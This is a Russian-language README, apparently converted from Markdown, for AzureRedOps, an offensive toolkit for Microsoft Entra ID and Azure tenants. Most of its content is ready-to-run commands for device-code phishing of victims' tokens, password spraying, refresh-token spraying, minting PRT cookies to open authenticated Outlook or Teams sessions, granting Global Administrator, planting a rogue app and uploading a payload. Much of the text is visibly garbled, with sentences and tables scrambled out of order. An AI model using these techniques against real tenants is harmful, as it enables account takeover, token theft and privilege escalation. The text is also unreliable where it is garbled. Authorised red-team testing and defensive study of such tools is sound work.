
Azure RedOps — это инструментарий наступательной безопасности для оценки безопасности Microsoft Entra ID
Инструмент «швейцарский нож» для проведения Red Team операций в Azure / Entra ID.
Автор: Mr.Un1k0d3r (TrueCyber Inc) Версия: 0.1 Язык: Python 3.12+
AzureRedOps — это набор средств для оценки безопасности (offensive security) арендаторов Microsoft Entra ID и Azure. Он объединяет наиболее распространенные сценарии Red Team — аутентификацию, управление токенами, перечисление каталогов, проверку привилегий, подбор паролей (password spraying) и действия после эксплуатации против Microsoft Graph — в едином CLI, управляемом через --activity.
Каждая операция выбирается с помощью -a/--activity. Полученные при аутентификации токены можно кэшировать локально (.azure_creds) и повторно использовать по имени с помощью -l/--load-access-token, так что вам редко придется вставлять необработанные JWT.
Узнайте больше об инструменте в блоге CYPFER
.azure_creds). Любой поток может автоматически сохранять свои токены с помощью -s/--save + -n/--name.auth) — прямая аутентификация по имени пользователя и паролю.phish-start / phish-capture) — злоупотребление OAuth-грантом авторизации устройства для захвата токенов, выдаваемых, когда цель вводит ваш код пользователя на microsoft.com/devicelogin. Автоматический захват по умолчанию.auth-app) — полный поток кода авторизации + PKCE для пользовательской регистрации приложения, обслуживаемый встроенным локальным HTTPS-слушателем, который принимает перенаправление.auth-interactive) — управление реальным браузером (Playwright; Firefox по умолчанию, -br для переключения) (обрабатывает MFA / Conditional Access / SSO), затем извлечение всех токенов из записанного HAR сессии.requirements.txt):
PyJWTrequestsplaywrightcryptography (нужен только для browser-sso -aprt, авто-PRT потока)auth-interactive, browser-sso). Firefox — движок по умолчанию (-br/--browser); установите его с помощью python -m playwright install firefox.includes/web/cert.pem и includes/web/key.pem (нужны только для потока PKCE auth-app — см. ).---```bash
git clone AzureRedOps cd AzureRedOps
python3 -m venv AzureRedOps source AzureRedOps/bin/activate # Linux / macOS
pip install -r requirements.txt
python -m playwright install firefox
Запустите инструмент:```bash
python3 AzureRedOps.py -a <activity> [options]
Общий шаблон вызова:```bash python3 AzureRedOps.py -a [authentication] [activity options] [global options]
### Предоставление токена
Действия, вызывающие Microsoft Graph, требуют токен доступа. Вы можете предоставить его двумя способами:
| Метод | Флаг | Пример |
|--------|------|---------|
| Передача сырого токена | `-ac, --access-token` | `-ac eyJ0eXAi...` |
| Загрузка кэшированного токена по имени | `-l, --load-access-token` | `-l mytoken` |
При использовании `-l` соответствующий `access_token` (и, где необходимо, `refresh_token` и `tenant`) читается из хранилища `.azure_creds`.
### Сохранение токенов в файл (`-s` / `-n`)
Любая активность, которая получает токены (`auth`, `auth-app`, `auth-interactive`, `phish-start`/`phish-capture`, `refresh`), может **автоматически сохранять их** в локальное хранилище учетных данных (`.azure_creds`) путем добавления `-s/--save` вместе с `-n/--name`:```bash
# Authenticate and save the resulting tokens under the name "victim1"
python3 AzureRedOps.py -a auth -u [email protected] -p 'P@ssw0rd!' -tid <tenant-guid> -s -n victim1
-s/--save включает автосохранение; требует указания -n/--name — инструмент завершается с
ошибкой, если -n отсутствует.-n/--name — это ключ, под которым сохраняется токен. Позднее вы можете повторно использовать его с
-l victim1 вместо вставки сырого JWT, просмотреть с помощью -a view -n victim1 или
удалить с помощью -a delete -n victim1.auth-interactive всегда сохраняет автоматически и запросит имя в интерактивном режиме,
если -n не указан.-j)Большинство перечислительных действий (list-users, list-applications, list-principals,
gather-all, raw-url) принимают -j/--json <filename> для записи сырого ответа API в JSON-файл вместо
(или в дополнение к) выводу на экран:```bash
python3 AzureRedOps.py -a list-users -l victim1 -j users.json
Для `gather-all` указанное имя файла используется как суффикс, и один файл записывается для каждой конечной точки Graph (например, `users-<name>`, `groups-<name>`, ...).
> Совет: `-j` управляет структурированным экспортом JSON, а `-re/--redirect-to-file` дублирует форматированный вывод консоли в `output.txt`. Эти два параметра независимы.
### Идентификаторы клиента
- `-t, --tenant` ожидает **имя домена** (например, `contoso.com`) и используется действием `id`.
- `-tid, --tenant-id` ожидает **GUID клиента** или `common`, используется в действиях аутентификации.
---
## Параметры командной строки
| Короткий | Длинный | По умолчанию | Описание |
|-------|------|---------|-------------|
| `-a` | `--activity` | `id` | **(обязательно)** Выполняемое действие (см. [Действия](#activities)). |
| `-ac` | `--access-token` | | Токен доступа Azure. |
| `-n` | `--name` | | Имя, используемое для сохранения/загрузки токена, или отображаемое имя для `register-app`/`new-group`/`invite`. |
| `-t` | `--tenant` | | **Домен** клиента Azure (используется действием `id`). |
| `-c` | `--devicecode` | | Код устройства (используется действием `phish-capture`). |
| `-tid` | `--tenant-id` | | **ID** клиента Azure (GUID) или `common`. |
| `-app` | `--appid` | `d3590ed6-52b3-4102-aeff-aad2292ab01c` | Идентификатор приложения (клиента). |
| `-e` | `--endpoint` | `microsoftonline.com` | Целевой домен конечной точки входа. |
| `-r` | `--refresh-token` | | Токен обновления аутентификации. |
| `-as` | `--auto-start` | `True` | Автоматически запускать захват кода устройства после `phish-start`. |
| `-l` | `--load-access-token` | | Загрузить кешированный токен по имени из `.azure_creds`. |
| `-j` | `--json` | | Сохранить вывод действия в указанный JSON-файл. |
| `-fl` | `--filter` | | Выводить только атрибуты, ключ которых совпадает с одним из указанных (через запятую). |
| `-u` | `--username` | | Имя участника-пользователя (email). |
| `-p` | `--password` | | Пароль пользователя. |
| `-s` | `--save` | `False` | Автоматически сохранять полученные токены в `.azure_creds` (**требуется `-n`**). |
| `-cp` | `--check-privileges` | `False` | После успешного входа (spray) проверять, можно ли перечислить пользователей/приложения. |
| `-uid` | `--uid` | | ID объекта пользователя Azure (используется действием `add-group`). |
| `-headers` | `--headers` | | Дополнительные HTTP-заголовки в формате JSON, например `{"X-Foo": "bar"}`. |
| `-gid` | `--gid` | `62e90394-69f5-4237-91f9-056ad24d70a7` | ID роли каталога / группы (по умолчанию = **Глобальный администратор**). |
| `-i` | `--id` | `False` | Для `interest`: выводить только идентификаторы приложений. |
| `-ty` | `--type` | | Для `interest`: фильтр по конкретной категории. |
| `-fp` | `--filepath` | | Файл для загрузки (`push-file`) или пользовательский список приложений для spraying. |
| `-v` | `--version` | `v2.0` | Версия API аутентификации: `v0` или `v2.0`. |
| `-ua` | `--user-agent` | *(строка Chrome UA)* | Переопределить HTTP-заголовок `User-Agent`. |
| `-au` | `--audience` | `https://graph.microsoft.com` | Аудитория/ресурс токена. |
| `-sc` | `--scope` | `openid offline_access` | Область OAuth2. Используйте `https://graph.microsoft.com/.default` для Graph, `openid` для spraying. |
| `-url` | `--url` | | Целевой URL для `raw-url`/`invite`; список URL, разделенных запятыми, для `auth-interactive`. |
| `-beta` | `--beta` | `False` | Использовать **бета**-конечную точку Microsoft Graph для `list-users`/`list-applications`. |
| `-exp` | `--expand` | `False` | Разворачивать вложенные списки/словари в выводе в удобочитаемый формат. |
| `-k` | `--keep` | `False` | Сохранять файл `session.har` после `auth-interactive` / `browser-sso`. |
| `-cs` | `--client-secret` | | Секрет конфиденциального клиента, используемый предоставлением `obo` (On-Behalf-Of). |
| `-prt` | `--prt-cookie` | | Значение cookie PRT (`x-ms-RefreshTokenCredential`) для инициализации браузерного SSO для `browser-sso`. |
| `-br` | `--browser` | `firefox` | Движок браузера Playwright для браузерных потоков (`auth-interactive`, `browser-sso`). Один из `firefox`, `chromium`, `webkit`. |
| `-aprt` | `--auto-prt` | `False` | Для `browser-sso`: автоматически выпустить cookie PRT из токена обновления (регистрация устройства → PRT → `x-ms-RefreshTokenCredential`), чтобы браузер открывался **уже аутентифицированным**. Требуется `cryptography` и FOCI/брокерный токен обновления. |
| `-d` | `--debug` | `False` | Включить отладочное журналирование. |
| `-dd` | `--verbose-debug` | `False` | Включить подробное журналирование HTTP-запросов/ответов. |
| `-re` | `--redirect-to-file` | `False` | Дублировать весь вывод консоли в `output.txt`. |
---
## Действия
Ниже каждое действие перечисляет свои **обязательные** и *необязательные* аргументы. "Токен" означает, что требуется либо `-ac`, либо `-l`.
### Управление токенами
| Действие | Обязательно | Необязательно | Описание |
|----------|----------|----------|-------------|
| `save` | `-ac`, `-n` | `-tid`, `-r` | Сохранить токен доступа (и опционально токен обновления) в `.azure_creds`. |
| `list-token` | — | — | Вывести имена всех сохранённых токенов. |
| `view` | `-n` | — | Декодировать и отобразить утверждения JWT сохранённого токена. |
| `delete` | `-n` | — | Удалить сохранённый токен из хранилища. |```bash
# Save a token under the name "mytoken"
python3 AzureRedOps.py -a save -n mytoken -ac eyJ0eXAi... -r 0.AReAB... -tid <tenant-guid>
# List, view, delete
python3 AzureRedOps.py -a list-token
python3 AzureRedOps.py -a view -n mytoken
python3 AzureRedOps.py -a delete -n mytoken
python3 AzureRedOps.py -a id -t contoso.com
python3 AzureRedOps.py -a phish-start -tid common -app d3590ed6-52b3-4102-aeff-aad2292ab01c
python3 AzureRedOps.py -a phish-capture -c -tid common
python3 AzureRedOps.py -a auth -u [email protected] -p 'P@ssw0rd!' -tid
python3 AzureRedOps.py -a auth-interactive -url https://portal.azure.com -s -n harvested
python3 AzureRedOps.py -a refresh -l mytoken -app d3590ed6-52b3-4102-aeff-aad2292ab01c
python3 AzureRedOps.py -a obo -l mytoken -tid -app -cs -au https://graph.microsoft.com
python3 AzureRedOps.py -a browser-sso -l mytoken -url outlook -prt
#### Как работают потоки аутентификации
AzureRedOps реализует несколько различных способов получения токенов. Выберите тот, который соответствует вашей задаче; все они учитывают `-s/-n` для автоматического сохранения результата.
##### Фишинг с кодом устройства (`phish-start` / `phish-capture`)
Предоставление авторизации устройства OAuth 2.0 **device authorization grant** предназначено для устройств с ограниченным вводом, что делает его мощным фишинговым примитивом: вы запрашиваете код от имени приложения Microsoft, а затем с помощью социальной инженерии заставляете цель ввести этот код на `https://microsoft.com/devicelogin`, будучи авторизованным в своей учетной записи. Как только они это сделают, токены выдаются **вам**.
- `phish-start` запрашивает код устройства и выводит **код пользователя**, URL-адрес входа и сам **код устройства**. Поскольку `-as/--auto-start` по умолчанию равен `True`, он затем немедленно начинает опрос токена — обычно достаточно просто запустить `phish-start` и передать код пользователя цели.
- `phish-capture` — это ручной аналог: передайте ему код устройства, полученный ранее с помощью `-c/--devicecode`, и он будет опрашивать конечную точку токена, пока жертва не завершит вход (инструмент молча повторяет попытки, пока ожидается авторизация).
- Используйте `-app/--appid`, чтобы выдать себя за конкретное приложение Microsoft, и `-tid/--tenant-id`, чтобы ограничить область арендатором (по умолчанию `common`). Совет: установите область действия `'https://graph.microsoft.com/.default offline_access openid'`, чтобы получить токен, готовый к Graph, с токеном обновления.```bash
# Start a device-code session (auto-captures the token once the victim logs in)
python3 AzureRedOps.py -a phish-start -tid common -s -n phished
# Or capture against a code you generated separately
python3 AzureRedOps.py -a phish-capture -c <device-code> -tid common -s -n phished
auth-app)auth-app выполняет полный поток кода авторизации с PKCE для сторонней (нестандартной) регистрации приложения. Инструмент запускает локальный HTTPS-прослушиватель (includes/Webserver.py, на https://localhost:2342), который действует как URI перенаправления OAuth, генерирует пару PKCE code_verifier/code_challenge и выводит URL авторизации для открытия в браузере. После вашего согласия Azure перенаправляет код авторизации обратно на локальный прослушиватель, который затем обменивает его на токены.
Это поток, который следует использовать, когда вы управляете (или зарегистрировали) приложением и хотите провести согласие через реальный сеанс браузера — полезно для сценариев нелегитимного согласия или когда ROPC заблокирован.
includes/web/cert.pem и includes/web/key.pem (см. Примечания о том, как их сгенерировать).8545b2fc-a69c-4851-9206-0f74a519fe5f.```bash
python3 AzureRedOps.py -a auth-app -tid -s -n consented##### Интерактивная аутентификация в браузере (`auth-interactive`)
`auth-interactive` запускает **настоящий браузер через Playwright** (по умолчанию Firefox; выберите движок с помощью `-br/--browser`) и позволяет оператору (или цели в общей сессии) выполнить интерактивный вход — включая MFA, Conditional Access и федеративные/SSO перенаправления, которые не могут быть обработаны скриптовыми потоками. Весь сеанс браузера записывается в HAR-файл (`session.har`); затем инструмент парсит эту запись, извлекает **каждую** пару access/refresh token, обнаруженную на конечной точке `/oauth2/v2.0/token`, декодирует каждый JWT и позволяет вам выбрать, какие из них сохранить.
- `-url/--url` задает страницу(ы), на которые нужно перейти после загрузки страницы входа. Принимает **список URL через запятую** (например, `https://portal.azure.com,https://outlook.office.com`), чтобы вы могли собрать токены для нескольких ресурсов за один сеанс. По умолчанию используется `https://portal.azure.com`.
- Это действие **всегда автосохраняется**: после сбора токенов выводится запрос на выбор индекса(ов) токена для сохранения и имени, под которым их сохранить.
- Добавьте `-k/--keep`, чтобы сохранить `session.har` для автономного анализа (по умолчанию он удаляется).```bash
# Log in interactively and harvest tokens for two resources
python3 AzureRedOps.py -a auth-interactive -url https://portal.azure.com,https://outlook.office.com -k
obo)obo реализует поток On-Behalf-Of OAuth 2.0 (grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer).
Он принимает уже выданный маркер доступа в качестве утверждения и обменивает его на совершенно новый маркер, ограниченный другим нижестоящим ресурсом — без повторной аутентификации пользователя.
-ac/--access-token или кэшированного токена через -l/--load-access-token.-app/--appid + -cs/--client-secret идентифицируют конфиденциального клиента, выполняющего обмен. Entra ID требует, чтобы этот клиент был аудиторией (aud) токена утверждения; несоответствие приводит к ошибке AADSTS500131/AADSTS50013.-au/--audience (по умолчанию https://graph.microsoft.com, преобразуемый в <audience>/.default) или полной области с помощью -sc/--scope.-s/-n.```bashpython3 AzureRedOps.py -a obo -l mytoken -tid
-app -cs -au https://graph.microsoft.com -s -n obo-graph
##### Одноразовый вход с токена в браузер (`browser-sso`)
`browser-sso` открывает **настоящий браузер, который уже аутентифицирован как пользователь** — вы ничего не нажимаете и сразу попадаете внутрь, например, в **Outlook на вебе**. Это поток "просто открой браузер и получи действующую сессию". Браузер получает свою сессию одним из трех способов, в порядке предпочтения:
**1. `-aprt/--auto-prt` — автоматическая генерация PRT-куки (рекомендуется).**
Refresh-токен преобразуется в **Primary Refresh Token (PRT)** и его браузерную куку полностью средствами инструмента, затем внедряется так, что ESTS Entra завершает SSO без ручного входа. Цепочка (в `includes/PRT.py`, протокол ROADtoken / roadtx / AADInternals) выглядит так:
1. Обменять refresh-токен на **токен регистрации устройства (DRS)**.
2. **Зарегистрировать устройство** в Azure AD → сертификат устройства + транспортный ключ.
3. Запросить **PRT + ключ сессии** с помощью refresh-токена, подписанного сертификатом устройства.
4. **Вывести куку `x-ms-RefreshTokenCredential`** (KDFv2: SP800-108 KDF на основе `SHA256(ctx‖decoded-payload-bytes)` → JWT с подписью HS256; KDFv1 → `AADSTS5000611`, неверные байты → `AADSTS50058`)
и внедрить её в свежий контекст браузера.
Кука внедряется с `SameSite=None` и потребляется через **прогрев ESTS `/authorize` верхнего уровня** (клиент Office `landingv2`), чтобы кука сессии `ESTSAUTH` была выпущена от первого лица — после чего целевое приложение открывается уже авторизованным. Кука выводится с новым nonce непосредственно перед навигацией и повторяется один раз; если SSO всё ещё не может завершиться, инструмент проверяет `prompt=none` и выводит точную причину `AADSTS` (например, Conditional Access, требующий совместимого/управляемого устройства, или MFA — ни то, ни другое не обходится с только что зарегистрированным устройством).
PRT, ключ сессии и кука выводятся на экран (с подсказкой `-prt "<value>"` для копирования), чтобы вы могли повторно использовать их без повторного запуска цепочки.
> **Требования и оперативная безопасность для `-aprt`:**
> - Требуется пакет **`cryptography`** (`pip install cryptography`; он есть в `requirements.txt`).
> - Refresh-токен должен принадлежать **клиенту FOCI / брокеру** — например, полученному при **фишинге через device-code брокера аутентификации Microsoft**
> (`29d9ed98-a469-4536-ade2-f981bc1d605e`), что и даёт приманка device-code для SharePoint/OneDrive. Клиент по умолчанию `-app` (клиент FOCI Microsoft Office) также работает.
> - **Регистрация устройства записывает объект устройства в арендатор** — она не является незаметной и оставляет артефакт (и требует, чтобы пользователю было разрешено присоединять/регистрировать устройства).
**2. `-prt/--prt-cookie` — внедрить уже имеющуюся PRT-куку.**
Если у вас уже есть значение `x-ms-RefreshTokenCredential` (из предыдущего запуска `-aprt`, или с заражённого хоста через `ROADtoken`/`browsercore` или `Mimikatz`), передайте его напрямую и пропустите цепочку генерации.
**3. Ни то, ни другое — преобразовать токен и войти вручную (запасной вариант).**
При отсутствии PRT-куки refresh-токен обменивается на токен доступа/refresh с ограничением ресурса (выводится и сохраняется с `-s/-n`), и браузер открывается на целевом ресурсе, чтобы вы завершили вход вручную.
**Сбор PRT / кук сессии.** Когда сессия браузера заканчивается (автоматическое закрытие по тайм-ауту или вы закрываете окно), `browser-sso` считывает живой контекст браузера и **выводит каждую повторно используемую куку SSO, которая была выдана** — PRT-куку (`x-ms-RefreshTokenCredential`) и куки сессии ESTS (`ESTSAUTH`, `ESTSAUTHPERSISTENT`, ...) — каждую с подсказкой `-prt` для копирования, чтобы вы могли воспроизвести их в следующий раз. Куки опрашиваются, пока сессия активна, так что значение захватывается, даже если вы закроете окно раньше времени. Такой же сбор выполняется в конце `auth-interactive`.
- `-url/--url` выбирает цель. Используйте готовые псевдонимы — `outlook`, `office`, `teams`, `sharepoint`, `onedrive`, `portal`, `graph` — или передайте один или несколько сырых `https://` URL (через запятую). По умолчанию — `outlook`.
- `-r/--refresh-token` + `-tid` (или кэшированный `-l`) предоставляет refresh-токен. `-app/--appid` по умолчанию равен клиенту FOCI Microsoft Office.
- `-br/--browser` выбирает движок Playwright (по умолчанию Firefox).
- `-k/--keep` сохраняет запись `session.har` сессии браузера.```bash
# BEST: auto-mint a PRT from a device-code-phished (broker) token and drop straight
# into an authenticated Outlook on the web — no manual login.
python3 AzureRedOps.py -a browser-sso -l phished -url outlook -aprt
# Seed a PRT cookie you already have
python3 AzureRedOps.py -a browser-sso -l mytoken -url outlook -prt <x-ms-RefreshTokenCredential>
# Target Teams from a raw refresh token, auto-mint the PRT, keep the session recording
python3 AzureRedOps.py -a browser-sso -r 0.AReAB... -tid <tenant-guid> -url teams -aprt -k
python3 AzureRedOps.py -a self -l mytoken
python3 AzureRedOps.py -a list-users -l mytoken -beta -j users.json -fl displayName,userPrincipalName
python3 AzureRedOps.py -a register-app -n EvilApp -l mytoken
python3 AzureRedOps.py -a add-group -uid -l mytoken
python3 AzureRedOps.py -a push-file -fp ./payload.docx -n payload.docx -l mytoken
python3 AzureRedOps.py -a raw-url -url "https://graph.microsoft.com/beta/users" -l mytoken
python3 AzureRedOps.py -a invite -n [email protected] -url https://example.com/invite -l mytoken
python3 AzureRedOps.py -a magic-app -l mytoken
### Перебор паролей
| Действие | Обязательно | Опционально | Описание |
|----------|----------|----------|-------------|
| `spray` | `-u`, `-p`, `-tid` | `-fp`, `-cp` | Перебор учётных данных для известных идентификаторов приложений первой стороны (API v0 + v2.0). |
| `spray-refresh` | `-v`, и (`-l`) **или** (`-r` + `-tid`) | `-fp`, `-cp` | Повторное использование токена обновления для множества идентификаторов приложений. |
По умолчанию оба действия используют `includes/auth_apps.json` в качестве источника приложений; можно переопределить с помощью `-fp`. Добавьте `-cp`, чтобы проверить, может ли каждый успешный вход перечислять пользователей/приложения.```bash
# Spray a single credential across first-party apps
python3 AzureRedOps.py -a spray -u [email protected] -p 'P@ssw0rd!' -tid <tenant-guid> -cp
# Cross-app refresh spraying from a saved token
python3 AzureRedOps.py -a spray-refresh -l mytoken -v v2.0
---
## Вывод и созданные файлы
| Файл | Создан с помощью | Описание |
|------|-----------|-------------|
| `.azure_creds` | действия по сохранению токенов | Локальный JSON-кэш токенов доступа/обновления, ключи — по имени. |
| `output.txt` | флаг `-re` | Зеркало всего вывода консоли с временными метками. |
| `session.har` | `auth-interactive` / `browser-sso` | Запись сессии браузера (удаляется, если не указан `-k`). |
| `<name>.json` | флаг `-j` / `gather-all` | Сохранённые ответы API. |
### Встроенные файлы данных
| Файл | Описание |
|------|-------------|
| `includes/auth_apps.json` | Идентификаторы целевых приложений, используемые для распыления и списков `interest`. |
| `includes/apps.json` | Известные идентификаторы приложений Microsoft и метаданные для `knownids`. |
| `includes/Webserver.py` | Локальный HTTPS-слушатель, реализующий PKCE-редирект для `auth-app`. |
| `includes/PRT.py` | Цепочка создания PRT (регистрация устройства → PRT → кука `x-ms-RefreshTokenCredential`), используемая `browser-sso -aprt`. |
| `includes/web/cert.pem`, `includes/web/key.pem` | TLS-материалы для локального слушателя. |
---
## Заметки и советы
- **Идентификатор приложения по умолчанию** (`d3590ed6-52b3-4102-aeff-aad2292ab01c`) — это клиент Microsoft Office от первого лица, который работает для большинства потоков. Подсказки, выводимые некоторыми действиями, предлагают расширить токены на приложение **Microsoft Azure CLI** (`04b07795-8ddb-461a-bbee-02f9e1bf7b46`) для более широкого доступа.
- **Рекомендации по областям:** используйте `-sc openid` для распыления паролей и `-sc 'https://graph.microsoft.com/.default'` для операций Graph.
- **`--beta`** переключает `list-users` / `list-applications` на бета-конечную точку Graph, которая может предоставить дополнительную информацию (например, атрибуты локальной синхронизации).
- **TLS для `auth-app`:** локальный PKCE-слушатель требует пары сертификат/ключ в `includes/web/cert.pem` и `includes/web/key.pem`. Создайте самоподписанную пару, если они отсутствуют, например: ```bash
openssl req -x509 -newkey rsa:2048 -nodes \
-keyout includes/web/key.pem -out includes/web/cert.pem -days 365 -subj "/CN=localhost"
-d выводит отладочную информацию высокого уровня; -dd выводит полные HTTP-запросы и ответы (заголовки + тела) — полезно при диагностике неудачных обменов токенами.-br/--browser). Потоки браузера (auth-interactive, browser-sso) запускают видимый браузер Playwright. Движок по умолчанию — firefox (самый надежный видимый движок под WSLg); переключайте с помощью -br chromium или -br webkit. Установите выбранный движок один раз командой python -m playwright install <engine>./dev/dxg, управляемый драйвером d3d12 Mesa), который процесс GPU/композитора браузера пытается использовать, в то время как значение по умолчанию /dev/shm виртуальной машины WSL крошечное (обычно 64 МБ). Два фактора объединяются — процесс GPU крутится на устройстве, которым он не может управлять, а композитор разделяемой памяти истощает — поэтому ничего не отображается, и виртуальная машина раздувается, пока хост Windows не начнет тормозить. Дополнительным фактором было : страница входа Microsoft использует long-polling, поэтому никогда не срабатывает, и навигация блокируется на пустой странице до тайм-аута.
Создано Mr.Un1k0d3r — TrueCyber Inc.
refresh) — обмен токена обновления на новые токены доступа.obo) — обмен уже выпущенного токена доступа на новый токен, ограниченный нижестоящим ресурсом (OAuth 2.0 jwt-bearer / OBO).browser-sso) — открытие реального браузера уже аутентифицированного как пользователь прямо в целевое веб-приложение (Outlook в вебе, Teams, SharePoint, портал Azure и т.д.). С помощью -aprt/--auto-prt автоматически создает cookie Primary Refresh Token (PRT) из токена обновления (регистрация устройства → PRT → x-ms-RefreshTokenCredential), так что новый браузер выполняет единый вход без ручного входа.gather-all.spray) и межприложечный подбор токенов обновления (spray-refresh).magic-app находит приложения с публичной перенаправляемостью и согласием AllPrincipals; встроенные списки известных/интересных идентификаторов приложений Microsoft.| Действие | Обязательно | Необязательно | Описание |
|---|
id | -t | — | Определить ID клиента для заданного домена электронной почты. |
phish-start | — | -app, -tid, -as, -s, -n | Начать поток device-code; выводит код пользователя и (по умолчанию) автоматически захватывает. |
phish-capture | -c | -app, -tid, -s, -n | Опрашивать токены, используя ранее выданный device code. |
auth | -u, -p, -tid, -app, -v | -s, -n | Аутентификация с помощью имени пользователя/пароля (ROPC). |
auth-app | -tid | -s, -n | Поток Authorization-Code + PKCE через локальный HTTPS-слушатель. |
auth-interactive | — | -url, -k, -n | Запустить браузер (Playwright), дать пользователю войти и извлечь токены из сессионного HAR. Всегда автоматически сохраняет. |
refresh | -v, -app, и (-l) или (-r + -tid) | -s, -n | Обменять refresh token на новый access token. |
obo | -tid, -app, и (-ac) или (-l) | -cs, -au, -sc, -s, -n | On-Behalf-Of: обменять выданный access token на токен, ограниченный другим ресурсом. |
browser-sso | -app, и (-l) или (-r + -tid) | -aprt, -url, -prt, -v, -k, -s, -n | Открыть браузер, уже аутентифицированный как пользователь. Добавьте -aprt для автоматического создания PRT-куки из refresh token, укажите готовую с помощью -prt или вернитесь к преобразованию токена + ручному входу. |
| Activity | Required | Optional | Description |
|---|
self | Token | — | Отобразить профиль текущего пользователя (/me). |
email | Token, -fl | — | Поиск ключевого слова в почтовом ящике текущего пользователя. |
permission | Token | — | Показать политику авторизации арендатора (бета-версия). |
list-users | Token | -j, -beta, -fl, -exp | Перечисление всех пользователей. |
list-applications | Token | -j, -beta, -fl, -exp | Перечисление всех приложений. |
list-principals | Token | -j, -fl, -exp | Перечисление всех субъектов-служб. |
register-app | Token, -n | — | Регистрация нового приложения (с секретом клиента на 1 год). |
new-group | Token, -n | — | Создание новой группы безопасности. |
add-group | Token, -uid | -gid | Назначение роли каталога субъекту (роль по умолчанию = глобальный администратор). |
push-file | Token, -fp, -n | — | Загрузка локального файла в OneDrive пользователя. |
gather-all | Token | -j | Массовый сбор пользователей, групп, приложений, субъектов-служб, ролей, политик и разрешений. |
raw-url | Token, -url | -j, -fl, -exp | Выполнение прямого GET-запроса к любому Graph/REST URL (обрабатывает разбивку на страницы с @odata.nextLink). |
invite | Token, -n | -url | Приглашение внешнего (гостевого) пользователя. -n — электронная почта приглашаемого. |
magic-app | Token | — | Поиск приложений с согласием AllPrincipals, appRoleAssignmentRequired=false и публичными URI перенаправления. |
| Действие | Обязательно | Необязательно | Описание |
|---|
knownids | — | -fl, -exp | Список известных идентификаторов приложений Microsoft (includes/apps.json). |
list-interest | — | — | Список категорий приложений, определённых в includes/auth_apps.json. |
interest | — | -i, -ty | Список интересующих идентификаторов приложений; -i выводит только ID, -ty фильтрует по категории. |
| python3 AzureRedOps.py -a knownids | |||
| python3 AzureRedOps.py -a list-interest | |||
| python3 AzureRedOps.py -a interest -ty all_users | |||
| python3 AzureRedOps.py -a interest -i # IDs only |
/dev/shmpage.goto(..., wait_until="networkidle")networkidle--no-sandbox --disable-gpu --disable-dev-shm-usage, Firefox получает gfx.webrender.force-disabled / layers.acceleration.disabled — переходя на программный рендеринг (CPU), так что страница все еще отображается и полностью интерактивна. Каждая навигация теперь ожидает domcontentloaded вместо networkidle. Вы просто должны увидеть работающий браузер./dev/shm (sudo mount -o remount,size=1g /dev/shm), убедитесь, что вы используете WSL 2 с WSLg (wsl --update; echo $DISPLAY должно быть непустым), и подтвердите, что среда выполнения браузера установлена в venv (python -m playwright install firefox и python -m playwright install-deps).